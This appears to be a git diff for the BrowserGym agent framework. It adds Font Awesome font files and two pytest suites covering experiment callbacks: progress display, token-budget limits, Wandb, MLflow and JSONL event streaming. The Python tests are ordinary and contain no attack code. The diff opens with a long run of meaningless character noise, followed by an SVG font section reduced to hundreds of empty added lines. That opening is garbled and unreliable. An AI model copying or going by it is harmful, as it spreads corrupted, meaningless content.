)r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf new file mode 100644 index 000000000..5b979039a Binary files /dev/null and b/public/fonts/fa-solid-900.ttf differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff new file mode 100644 index 000000000..beec79178 Binary files /dev/null and b/public/fonts/fa-solid-900.woff differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 000000000..978a681a1 Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ diff --git a/tests/experiments/test_callbacks.py b/tests/experiments/test_callbacks.py new file mode 100644 index 000000000..bbecce0df --- /dev/null +++ b/tests/experiments/test_callbacks.py @@ -0,0 +1,369 @@ +""" +Unit tests for the BrowserGym Experiment Callback System. + +Exercises: + - AbstractCallback no-op default implementations + - CallbackList fan-out dispatch (including fail-safe error isolation) + - ConsoleProgressCallback rendering logic (without a real experiment) + - BudgetLimitCallback threshold enforcement + - BudgetLimitCallback warn-at-percent behaviour + - ExpArgs.callbacks field is accepted (backward-compatible default) +""" + +from __future__ import annotations + +import logging +import sys +from io import StringIO +from unittest.mock import MagicMock, patch + +import pytest + +from browsergym.experiments.callbacks import ( + AbstractCallback, + BudgetExceededError, + BudgetLimitCallback, + CallbackList, + ConsoleProgressCallback, +) + + +# ───────────────────────────────────────────────────────────────────────────── +# Helpers +# ───────────────────────────────────────────────────────────────────────────── + + +def _make_step_info(step: int = 0, tokens: int = 0, reward: float = 0.0, terminated: bool = False): + """Return a minimal StepInfo-like mock populated with the fields that + callbacks actually read.""" + si = MagicMock() + si.step = step + si.reward = reward + si.terminated = terminated + si.truncated = False + si.is_done = terminated + si.stats = {"n_token_agent_messages": tokens} + si.agent_info = {} + return si + + +def _make_exp_args(agent_name="TestAgent", task_name="miniwob.click-test", max_steps=10): + ea = MagicMock() + ea.agent_args.agent_name = agent_name + ea.env_args.task_name = task_name + ea.env_args.max_steps = max_steps + ea.exp_dir = "/tmp/test_exp" + return ea + + +# ───────────────────────────────────────────────────────────────────────────── +# AbstractCallback — default no-ops should never raise +# ───────────────────────────────────────────────────────────────────────────── + + +class TestAbstractCallbackDefaults: + """All default hook methods are no-ops; instantiating a concrete subclass + that overrides nothing should work fine.""" + + def test_all_hooks_noop(self): + class MyCallback(AbstractCallback): + pass + + cb = MyCallback() + exp_args = _make_exp_args() + step_info = _make_step_info() + + cb.on_exp_start(exp_args) + cb.on_step_start(0) + cb.on_action_selected(0, "click(#btn)", {}) + cb.on_step_end(step_info, is_done=False) + cb.on_exp_end("/tmp/exp", err_msg=None) + + +# ───────────────────────────────────────────────────────────────────────────── +# CallbackList — fan-out and fail-safe isolation +# ───────────────────────────────────────────────────────────────────────────── + + +class TestCallbackList: + def test_fanout_calls_all_callbacks(self): + calls = [] + + class Recorder(AbstractCallback): + def __init__(self, name): + self.name = name + + def on_exp_start(self, exp_args): + calls.append(("on_exp_start", self.name)) + + def on_step_start(self, step): + calls.append(("on_step_start", self.name, step)) + + def on_step_end(self, step_info, is_done): + calls.append(("on_step_end", self.name)) + + def on_exp_end(self, exp_dir, err_msg=None): + calls.append(("on_exp_end", self.name)) + + cbl = CallbackList([Recorder("A"), Recorder("B")]) + ea = _make_exp_args() + si = _make_step_info() + + cbl.on_exp_start(ea) + cbl.on_step_start(0) + cbl.on_step_end(si, is_done=False) + cbl.on_exp_end("/tmp/exp") + + assert calls.count(("on_exp_start", "A")) == 1 + assert calls.count(("on_exp_start", "B")) == 1 + assert calls.count(("on_step_start", "A", 0)) == 1 + assert calls.count(("on_step_start", "B", 0)) == 1 + assert calls.count(("on_step_end", "A")) == 1 + assert calls.count(("on_step_end", "B")) == 1 + assert calls.count(("on_exp_end", "A")) == 1 + assert calls.count(("on_exp_end", "B")) == 1 + + def test_exception_in_one_callback_does_not_abort_others(self, caplog): + """A crashing callback must not prevent subsequent callbacks from + receiving the event.""" + received = [] + + class Crasher(AbstractCallback): + def on_step_start(self, step): + raise RuntimeError("intentional crash") + + class Survivor(AbstractCallback): + def on_step_start(self, step): + received.append(step) + + cbl = CallbackList([Crasher(), Survivor()]) + with caplog.at_level(logging.WARNING, logger="browsergym.experiments.callbacks"): + cbl.on_step_start(42) + + assert 42 in received, "Survivor callback must still receive the event" + assert any("intentional crash" in rec.message for rec in caplog.records) + + def test_empty_callback_list_is_noop(self): + """Empty list must not raise.""" + cbl = CallbackList([]) + cbl.on_exp_start(_make_exp_args()) + cbl.on_step_start(0) + cbl.on_action_selected(0, "click()", {}) + cbl.on_step_end(_make_step_info(), is_done=False) + cbl.on_exp_end("/tmp") + + def test_on_action_selected_passes_action_and_agent_info(self): + received = [] + + class ActionSpy(AbstractCallback): + def on_action_selected(self, step, action, agent_info): + received.append((step, action, agent_info)) + + cbl = CallbackList([ActionSpy()]) + cbl.on_action_selected(3, "type(#q, 'hello')", {"model": "gpt-4o"}) + assert received == [(3, "type(#q, 'hello')", {"model": "gpt-4o"})] + + +# ───────────────────────────────────────────────────────────────────────────── +# ConsoleProgressCallback +# ───────────────────────────────────────────────────────────────────────────── + + +class TestConsoleProgressCallback: + def _capture(self): + """Return a StringIO that can be injected as sys.stderr.""" + return StringIO() + + def test_on_exp_start_prints_header(self): + cb = ConsoleProgressCallback() + buf = StringIO() + with patch("sys.stderr", buf): + cb.on_exp_start(_make_exp_args(agent_name="GPT4o", task_name="webarena.1")) + output = buf.getvalue() + assert "GPT4o" in output + assert "webarena.1" in output + + def test_on_step_end_accumulates_reward(self): + cb = ConsoleProgressCallback() + buf = StringIO() + with patch("sys.stderr", buf): + cb.on_exp_start(_make_exp_args()) + cb.on_step_start(0) + cb.on_step_end(_make_step_info(step=0, tokens=100, reward=0.5), is_done=False) + cb.on_step_start(1) + cb.on_step_end(_make_step_info(step=1, tokens=200, reward=0.5), is_done=False) + output = buf.getvalue() + # Cumulative reward after 2 steps should show +1.00 + assert "+1.00" in output + + def test_on_exp_end_prints_summary_no_error(self): + cb = ConsoleProgressCallback() + buf = StringIO() + with patch("sys.stderr", buf): + cb.on_exp_start(_make_exp_args()) + cb.on_exp_end("/tmp/my_exp", err_msg=None) + output = buf.getvalue() + assert "DONE" in output + assert "/tmp/my_exp" in output + assert "Error" not in output # no error should appear + + def test_on_exp_end_prints_error_message(self): + cb = ConsoleProgressCallback() + buf = StringIO() + with patch("sys.stderr", buf): + cb.on_exp_start(_make_exp_args()) + cb.on_exp_end("/tmp/fail_exp", err_msg="Something went wrong") + output = buf.getvalue() + assert "ERROR" in output + assert "Something went wrong" in output + + def test_action_preview_disabled_by_default(self): + cb = ConsoleProgressCallback(show_action_preview=False) + buf = StringIO() + with patch("sys.stderr", buf): + cb.on_exp_start(_make_exp_args()) + cb.on_action_selected(0, "click('#very-long-selector')", {}) + output = buf.getvalue() + # Preview must NOT appear when disabled + assert "click(" not in output + + def test_action_preview_enabled(self): + cb = ConsoleProgressCallback(show_action_preview=True, action_preview_chars=40) + buf = StringIO() + with patch("sys.stderr", buf): + cb.on_exp_start(_make_exp_args()) + cb.on_action_selected(0, "click('#submit-button')", {}) + output = buf.getvalue() + assert "click(" in output + + def test_action_preview_truncated(self): + cb = ConsoleProgressCallback(show_action_preview=True, action_preview_chars=10) + buf = StringIO() + with patch("sys.stderr", buf): + cb.on_exp_start(_make_exp_args()) + cb.on_action_selected(0, "click_and_type('#input', 'hello world')", {}) + output = buf.getvalue() + # Should be truncated with ellipsis + assert "…" in output + + def test_token_accumulation(self): + cb = ConsoleProgressCallback() + buf = StringIO() + with patch("sys.stderr", buf): + cb.on_exp_start(_make_exp_args()) + for i in range(3): + cb.on_step_start(i) + cb.on_step_end(_make_step_info(step=i, tokens=1000), is_done=False) + output = buf.getvalue() + # 3 steps × 1000 tokens = 3,000 — should appear formatted + assert "3,000" in output + + +# ───────────────────────────────────────────────────────────────────────────── +# BudgetLimitCallback +# ───────────────────────────────────────────────────────────────────────────── + + +class TestBudgetLimitCallback: + def test_raises_budget_exceeded_error_when_over_limit(self): + cb = BudgetLimitCallback(max_tokens=500) + cb.on_exp_start(_make_exp_args()) + + with pytest.raises(BudgetExceededError): + # 3 steps × 200 tokens = 600 > 500 → should raise on step 3 + for i in range(3): + cb.on_step_end(_make_step_info(step=i, tokens=200), is_done=False) + + def test_does_not_raise_when_under_limit(self): + cb = BudgetLimitCallback(max_tokens=1000) + cb.on_exp_start(_make_exp_args()) + # 3 steps × 200 tokens = 600 < 1000 + for i in range(3): + cb.on_step_end(_make_step_info(step=i, tokens=200), is_done=False) + + def test_does_not_raise_on_final_done_step_even_if_over(self): + """When is_done=True, the episode is already ending — budget check is skipped.""" + cb = BudgetLimitCallback(max_tokens=10) + cb.on_exp_start(_make_exp_args()) + # This would normally trigger the budget, but is_done=True skips the check. + cb.on_step_end(_make_step_info(step=0, tokens=999, terminated=True), is_done=True) + + def test_warning_emitted_near_threshold(self, caplog): + cb = BudgetLimitCallback(max_tokens=1000, warn_at_pct=0.8) + cb.on_exp_start(_make_exp_args()) + with caplog.at_level(logging.WARNING, logger="browsergym.experiments.callbacks"): + cb.on_step_end(_make_step_info(step=0, tokens=850), is_done=False) # 85% → warn + assert any("80%" in r.message or "reached" in r.message for r in caplog.records) + + def test_warning_emitted_only_once(self, caplog): + cb = BudgetLimitCallback(max_tokens=1000, warn_at_pct=0.8) + cb.on_exp_start(_make_exp_args()) + with caplog.at_level(logging.WARNING, logger="browsergym.experiments.callbacks"): + cb.on_step_end(_make_step_info(step=0, tokens=850), is_done=False) + cb.on_step_end(_make_step_info(step=1, tokens=10), is_done=False) + warning_msgs = [r for r in caplog.records if "reached" in r.message or "80%" in r.message] + assert len(warning_msgs) == 1 + + def test_reset_on_exp_start(self): + """Calling on_exp_start again resets the token counter so the same + callback instance can be safely reused across sequential experiments.""" + cb = BudgetLimitCallback(max_tokens=500) + cb.on_exp_start(_make_exp_args()) + # First episode: use up 450 tokens + cb.on_step_end(_make_step_info(tokens=450), is_done=False) + # Start a new experiment — counter must reset + cb.on_exp_start(_make_exp_args()) + # Only 100 tokens in new episode — should be fine + cb.on_step_end(_make_step_info(tokens=100), is_done=False) + + def test_invalid_max_tokens_raises(self): + with pytest.raises(ValueError, match="max_tokens"): + BudgetLimitCallback(max_tokens=0) + + def test_invalid_warn_at_pct_raises(self): + with pytest.raises(ValueError, match="warn_at_pct"): + BudgetLimitCallback(max_tokens=1000, warn_at_pct=1.5) + + def test_error_message_contains_token_counts(self): + cb = BudgetLimitCallback(max_tokens=100) + cb.on_exp_start(_make_exp_args()) + with pytest.raises(BudgetExceededError, match="200") as exc_info: + cb.on_step_end(_make_step_info(tokens=200), is_done=False) + assert "100" in str(exc_info.value) + + +# ───────────────────────────────────────────────────────────────────────────── +# Integration: ExpArgs.callbacks field is accepted +# ───────────────────────────────────────────────────────────────────────────── + + +class TestExpArgsCallbacksField: + def test_callbacks_field_default_is_empty_list(self): + """When no callbacks are specified, the field defaults to [].""" + from dataclasses import fields + + from browsergym.experiments.loop import ExpArgs + + callbacks_field = next(f for f in fields(ExpArgs) if f.name == "callbacks") + assert callbacks_field is not None + # Verify default_factory produces an empty list + assert callbacks_field.default_factory() == [] + + def test_callbacks_field_accepts_callback_list(self): + """ExpArgs can be constructed with a list of AbstractCallback instances.""" + from unittest.mock import MagicMock + + from browsergym.experiments.loop import ExpArgs + + mock_agent_args = MagicMock() + mock_env_args = MagicMock() + mock_env_args.task_name = "miniwob.click-test" + + cb = ConsoleProgressCallback() + exp = ExpArgs( + agent_args=mock_agent_args, + env_args=mock_env_args, + callbacks=[cb], + ) + assert len(exp.callbacks) == 1 + assert isinstance(exp.callbacks[0], ConsoleProgressCallback) diff --git a/tests/experiments/test_callbacks_cloud.py b/tests/experiments/test_callbacks_cloud.py new file mode 100644 index 000000000..68d566597 --- /dev/null +++ b/tests/experiments/test_callbacks_cloud.py @@ -0,0 +1,467 @@ +""" +Unit tests for the Cloud & Web UI Bridge callbacks: + - WandbCallback (mocked wandb) + - MLflowCallback (mocked mlflow) + - JsonlStreamCallback (real in-memory stream) +""" + +from __future__ import annotations + +import io +import json +import sys +from unittest.mock import MagicMock, patch, call + +import pytest + +from browsergym.experiments.callbacks import ( + JsonlStreamCallback, + MLflowCallback, + WandbCallback, +) + + +# ───────────────────────────────────────────────────────────────────────────── +# Shared helpers +# ───────────────────────────────────────────────────────────────────────────── + + +def _make_exp_args(agent_name="TestAgent", task_name="miniwob.click-test", max_steps=10): + ea = MagicMock() + ea.agent_args.agent_name = agent_name + ea.env_args.task_name = task_name + ea.env_args.max_steps = max_steps + ea.env_args.task_seed = 42 + ea.exp_id = "exp-uuid-1234" + ea.exp_dir = "/tmp/test_exp" + return ea + + +def _make_step_info(step=0, tokens=500, reward=0.5, terminated=False): + si = MagicMock() + si.step = step + si.reward = reward + si.terminated = terminated + si.truncated = False + si.is_done = terminated + si.action = f"click('#btn-{step}')" + si.agent_info = {"model": "gpt-4o", "cost": 0.003} + si.obs = {"goal": "Click the button", "url": "http://localhost/task"} + si.stats = { + "n_token_agent_messages": tokens, + "step_elapsed": 1.8, + "agent_elapsed": 1.5, + "n_token_dom": 3000, + } + return si + + +# ───────────────────────────────────────────────────────────────────────────── +# WandbCallback tests +# ───────────────────────────────────────────────────────────────────────────── + + +class TestWandbCallback: + """All tests mock the 'wandb' module so wandb need not be installed.""" + + @pytest.fixture(autouse=True) + def mock_wandb(self): + """Inject a mock wandb module for the duration of each test.""" + mock_run = MagicMock() + mock_run.url = "https://wandb.ai/test/run/abc123" + mock_run.summary = {} + + mock_wandb_mod = MagicMock() + mock_wandb_mod.init.return_value = mock_run + + with patch.dict(sys.modules, {"wandb": mock_wandb_mod}): + yield mock_wandb_mod, mock_run + + def test_import_error_when_wandb_missing(self): + """Should raise ImportError with installation hint if wandb is absent.""" + with patch.dict(sys.modules, {"wandb": None}): + with pytest.raises(ImportError, match="pip install wandb"): + WandbCallback() + + def test_wandb_init_called_on_exp_start(self, mock_wandb): + wandb_mod, mock_run = mock_wandb + cb = WandbCallback(project="test-proj", entity="test-entity", tags=["ci"]) + cb.on_exp_start(_make_exp_args()) + + wandb_mod.init.assert_called_once() + call_kwargs = wandb_mod.init.call_args.kwargs + assert call_kwargs["project"] == "test-proj" + assert call_kwargs["entity"] == "test-entity" + assert "ci" in call_kwargs["tags"] + + def test_run_name_auto_generated(self, mock_wandb): + wandb_mod, _ = mock_wandb + cb = WandbCallback() + cb.on_exp_start(_make_exp_args(agent_name="MyAgent", task_name="webarena.42")) + + name_arg = wandb_mod.init.call_args.kwargs["name"] + assert "MyAgent" in name_arg + assert "webarena.42" in name_arg + + def test_run_name_manual_override(self, mock_wandb): + wandb_mod, _ = mock_wandb + cb = WandbCallback(name="custom-run-name") + cb.on_exp_start(_make_exp_args()) + + assert wandb_mod.init.call_args.kwargs["name"] == "custom-run-name" + + def test_config_contains_task_metadata(self, mock_wandb): + wandb_mod, _ = mock_wandb + cb = WandbCallback() + cb.on_exp_start(_make_exp_args(task_name="webarena.88")) + + config = wandb_mod.init.call_args.kwargs["config"] + assert config["task_name"] == "webarena.88" + assert config["max_steps"] == 10 + + def test_log_called_on_step_end(self, mock_wandb): + wandb_mod, mock_run = mock_wandb + cb = WandbCallback() + cb.on_exp_start(_make_exp_args()) + cb.on_step_start(0) + cb.on_step_end(_make_step_info(step=0, tokens=500, reward=1.0), is_done=False) + + wandb_mod.log.assert_called_once() + logged = wandb_mod.log.call_args.args[0] + assert "step/reward" in logged + assert "episode/cumulative_reward" in logged + assert "step/tokens" in logged + + def test_log_not_called_when_disabled(self, mock_wandb): + wandb_mod, _ = mock_wandb + cb = WandbCallback(log_step_metrics=False) + cb.on_exp_start(_make_exp_args()) + cb.on_step_start(0) + cb.on_step_end(_make_step_info(), is_done=False) + + wandb_mod.log.assert_not_called() + + def test_cumulative_reward_accumulates(self, mock_wandb): + wandb_mod, _ = mock_wandb + cb = WandbCallback() + cb.on_exp_start(_make_exp_args()) + + for i in range(3): + cb.on_step_start(i) + cb.on_step_end(_make_step_info(step=i, reward=1.0), is_done=(i == 2)) + + # Last log call should show cumulative reward = 3.0 + last_call_metrics = wandb_mod.log.call_args_list[-1].args[0] + assert last_call_metrics["episode/cumulative_reward"] == pytest.approx(3.0) + + def test_run_finish_called_on_exp_end_success(self, mock_wandb): + wandb_mod, mock_run = mock_wandb + cb = WandbCallback() + cb.on_exp_start(_make_exp_args()) + cb.on_exp_end("/tmp/exp", err_msg=None) + + mock_run.finish.assert_called_once_with(exit_code=0) + + def test_run_finish_called_on_exp_end_failure(self, mock_wandb): + wandb_mod, mock_run = mock_wandb + cb = WandbCallback() + cb.on_exp_start(_make_exp_args()) + cb.on_exp_end("/tmp/exp", err_msg="Something exploded") + + mock_run.finish.assert_called_once_with(exit_code=1) + assert "final/error" in mock_run.summary + + def test_run_reset_to_none_after_exp_end(self, mock_wandb): + _, _ = mock_wandb + cb = WandbCallback() + cb.on_exp_start(_make_exp_args()) + cb.on_exp_end("/tmp/exp") + assert cb._run is None + + def test_step_end_noop_before_exp_start(self, mock_wandb): + """on_step_end before on_exp_start must not crash.""" + wandb_mod, _ = mock_wandb + cb = WandbCallback() + cb.on_step_end(_make_step_info(), is_done=False) + wandb_mod.log.assert_not_called() + + +# ───────────────────────────────────────────────────────────────────────────── +# MLflowCallback tests +# ───────────────────────────────────────────────────────────────────────────── + + +class TestMLflowCallback: + """All tests mock the 'mlflow' module so mlflow need not be installed.""" + + @pytest.fixture(autouse=True) + def mock_mlflow(self): + mock_run = MagicMock() + mock_run.info.run_id = "mlflow-run-id-xyz" + + mock_mlflow_mod = MagicMock() + mock_mlflow_mod.start_run.return_value = mock_run + + with patch.dict(sys.modules, {"mlflow": mock_mlflow_mod}): + yield mock_mlflow_mod, mock_run + + def test_import_error_when_mlflow_missing(self): + with patch.dict(sys.modules, {"mlflow": None}): + with pytest.raises(ImportError, match="pip install mlflow"): + MLflowCallback() + + def test_experiment_set_on_start(self, mock_mlflow): + mlflow_mod, _ = mock_mlflow + cb = MLflowCallback(experiment_name="my-exp") + cb.on_exp_start(_make_exp_args()) + + mlflow_mod.set_experiment.assert_called_once_with("my-exp") + + def test_tracking_uri_set_when_provided(self, mock_mlflow): + mlflow_mod, _ = mock_mlflow + cb = MLflowCallback(tracking_uri="http://mlflow.mylab.com:5000") + cb.on_exp_start(_make_exp_args()) + + mlflow_mod.set_tracking_uri.assert_called_once_with("http://mlflow.mylab.com:5000") + + def test_tracking_uri_not_set_when_omitted(self, mock_mlflow): + mlflow_mod, _ = mock_mlflow + cb = MLflowCallback() + cb.on_exp_start(_make_exp_args()) + + mlflow_mod.set_tracking_uri.assert_not_called() + + def test_params_logged_on_exp_start(self, mock_mlflow): + mlflow_mod, _ = mock_mlflow + cb = MLflowCallback() + cb.on_exp_start(_make_exp_args(task_name="webarena.99")) + + mlflow_mod.log_params.assert_called_once() + params = mlflow_mod.log_params.call_args.args[0] + assert params["task_name"] == "webarena.99" + + def test_metrics_logged_on_step_end(self, mock_mlflow): + mlflow_mod, _ = mock_mlflow + cb = MLflowCallback() + cb.on_exp_start(_make_exp_args()) + cb.on_step_start(0) + cb.on_step_end(_make_step_info(step=0, tokens=400, reward=0.5), is_done=False) + + mlflow_mod.log_metrics.assert_called() + metrics = mlflow_mod.log_metrics.call_args_list[0].args[0] + assert "step_reward" in metrics + assert "step_tokens" in metrics + assert "episode_reward" in metrics + + def test_metrics_not_logged_when_disabled(self, mock_mlflow): + mlflow_mod, _ = mock_mlflow + cb = MLflowCallback(log_step_metrics=False) + cb.on_exp_start(_make_exp_args()) + cb.on_step_start(0) + cb.on_step_end(_make_step_info(), is_done=False) + + # log_metrics only called at end, not during step + mlflow_mod.log_metrics.assert_not_called() + + def test_run_ends_finished_on_success(self, mock_mlflow): + mlflow_mod, _ = mock_mlflow + cb = MLflowCallback() + cb.on_exp_start(_make_exp_args()) + cb.on_exp_end("/tmp/exp", err_msg=None) + + mlflow_mod.end_run.assert_called_once_with(status="FINISHED") + + def test_run_ends_failed_on_error(self, mock_mlflow): + mlflow_mod, _ = mock_mlflow + cb = MLflowCallback() + cb.on_exp_start(_make_exp_args()) + cb.on_exp_end("/tmp/exp", err_msg="BudgetExceededError") + + mlflow_mod.end_run.assert_called_once_with(status="FAILED") + mlflow_mod.set_tag.assert_called_once() + tag_key, tag_val = mlflow_mod.set_tag.call_args.args + assert tag_key == "error" + assert "BudgetExceeded" in tag_val + + def test_run_reset_after_exp_end(self, mock_mlflow): + _, _ = mock_mlflow + cb = MLflowCallback() + cb.on_exp_start(_make_exp_args()) + cb.on_exp_end("/tmp/exp") + assert cb._active_run is None + + def test_step_end_noop_before_exp_start(self, mock_mlflow): + mlflow_mod, _ = mock_mlflow + cb = MLflowCallback() + cb.on_step_end(_make_step_info(), is_done=False) + mlflow_mod.log_metrics.assert_not_called() + + +# ───────────────────────────────────────────────────────────────────────────── +# JsonlStreamCallback tests (no mocking needed — pure stdlib) +# ───────────────────────────────────────────────────────────────────────────── + + +class TestJsonlStreamCallback: + def _run_full_episode(self, cb, steps=3, task="miniwob.test"): + ea = _make_exp_args(task_name=task) + cb.on_exp_start(ea) + for i in range(steps): + cb.on_step_start(i) + cb.on_action_selected(i, f"click('#el-{i}')", {"model": "gpt-4o"}) + cb.on_step_end( + _make_step_info(step=i, terminated=(i == steps - 1)), is_done=(i == steps - 1) + ) + cb.on_exp_end("/tmp/exp") + + def _parse_lines(self, buf: io.StringIO) -> list[dict]: + buf.seek(0) + return [json.loads(line) for line in buf if line.strip()] + + def test_all_event_types_emitted(self): + buf = io.StringIO() + cb = JsonlStreamCallback(stream=buf, flush=False) + self._run_full_episode(cb, steps=2) + + events = self._parse_lines(buf) + types = [e["event"] for e in events] + + assert "exp_start" in types + assert "step_start" in types + assert "action_selected" in types + assert "step_end" in types + assert "exp_end" in types + + def test_every_event_has_ts_field(self): + buf = io.StringIO() + cb = JsonlStreamCallback(stream=buf, flush=False) + self._run_full_episode(cb, steps=1) + + for event in self._parse_lines(buf): + assert "ts" in event, f"Missing 'ts' in event: {event}" + assert isinstance(event["ts"], float) + + def test_exp_start_contains_metadata(self): + buf = io.StringIO() + cb = JsonlStreamCallback(stream=buf, flush=False) + cb.on_exp_start(_make_exp_args(agent_name="Claude", task_name="webarena.5")) + + events = self._parse_lines(buf) + exp_start = next(e for e in events if e["event"] == "exp_start") + assert exp_start["agent_name"] == "Claude" + assert exp_start["task_name"] == "webarena.5" + + def test_action_selected_contains_action(self): + buf = io.StringIO() + cb = JsonlStreamCallback(stream=buf, flush=False) + cb.on_exp_start(_make_exp_args()) + cb.on_action_selected(2, "scroll(0, 500)", {"model": "gpt-4o"}) + + events = self._parse_lines(buf) + action_ev = next(e for e in events if e["event"] == "action_selected") + assert action_ev["action"] == "scroll(0, 500)" + assert action_ev["step"] == 2 + + def test_agent_info_only_scalars_included(self): + """Non-scalar agent_info values (images, objects) must be stripped.""" + buf = io.StringIO() + cb = JsonlStreamCallback(stream=buf, flush=False) + cb.on_exp_start(_make_exp_args()) + cb.on_action_selected( + 0, + "click()", + {"model": "gpt-4o", "embedding": [0.1, 0.2, 0.3], "cost": 0.005}, + ) + + events = self._parse_lines(buf) + action_ev = next(e for e in events if e["event"] == "action_selected") + assert "embedding" not in action_ev["agent_info"] + assert action_ev["agent_info"]["cost"] == pytest.approx(0.005) + + def test_step_end_contains_reward_and_stats(self): + buf = io.StringIO() + cb = JsonlStreamCallback(stream=buf, flush=False) + cb.on_exp_start(_make_exp_args()) + cb.on_step_end(_make_step_info(step=1, reward=0.75), is_done=False) + + events = self._parse_lines(buf) + step_ev = next(e for e in events if e["event"] == "step_end") + assert step_ev["reward"] == pytest.approx(0.75) + assert "stats" in step_ev + + def test_exp_end_success_flag(self): + buf = io.StringIO() + cb = JsonlStreamCallback(stream=buf, flush=False) + cb.on_exp_start(_make_exp_args()) + cb.on_exp_end("/tmp/exp", err_msg=None) + + events = self._parse_lines(buf) + end_ev = next(e for e in events if e["event"] == "exp_end") + assert end_ev["success"] is True + assert end_ev["err_msg"] is None + + def test_exp_end_failure_flag(self): + buf = io.StringIO() + cb = JsonlStreamCallback(stream=buf, flush=False) + cb.on_exp_start(_make_exp_args()) + cb.on_exp_end("/tmp/exp", err_msg="TimeoutError") + + events = self._parse_lines(buf) + end_ev = next(e for e in events if e["event"] == "exp_end") + assert end_ev["success"] is False + assert "TimeoutError" in end_ev["err_msg"] + + def test_include_obs_keys_filters_obs(self): + buf = io.StringIO() + cb = JsonlStreamCallback(stream=buf, include_obs_keys=["goal", "url"], flush=False) + cb.on_exp_start(_make_exp_args()) + + si = _make_step_info(step=0) + si.obs = { + "goal": "Book a flight", + "url": "http://localhost/", + "screenshot": b"...binary...", + } + cb.on_step_end(si, is_done=False) + + events = self._parse_lines(buf) + step_ev = next(e for e in events if e["event"] == "step_end") + assert "obs" in step_ev + assert "goal" in step_ev["obs"] + assert "url" in step_ev["obs"] + assert "screenshot" not in step_ev["obs"] + + def test_obs_excluded_when_include_obs_keys_empty(self): + buf = io.StringIO() + cb = JsonlStreamCallback(stream=buf, include_obs_keys=[], flush=False) + cb.on_exp_start(_make_exp_args()) + cb.on_step_end(_make_step_info(step=0), is_done=False) + + events = self._parse_lines(buf) + step_ev = next(e for e in events if e["event"] == "step_end") + assert "obs" not in step_ev + + def test_output_is_valid_jsonl(self): + """Every line in the output must be parseable as JSON.""" + buf = io.StringIO() + cb = JsonlStreamCallback(stream=buf, flush=False) + self._run_full_episode(cb, steps=4) + + buf.seek(0) + for line in buf: + if line.strip(): + json.loads(line) # must not raise + + def test_step_count_matches_events(self): + buf = io.StringIO() + cb = JsonlStreamCallback(stream=buf, flush=False) + self._run_full_episode(cb, steps=5) + + events = self._parse_lines(buf) + step_starts = [e for e in events if e["event"] == "step_start"] + assert len(step_starts) == 5 + + def test_default_stream_is_stdout(self): + """When no stream is provided the callback should default to stdout.""" + cb = JsonlStreamCallback() + assert cb._stream is sys.stdout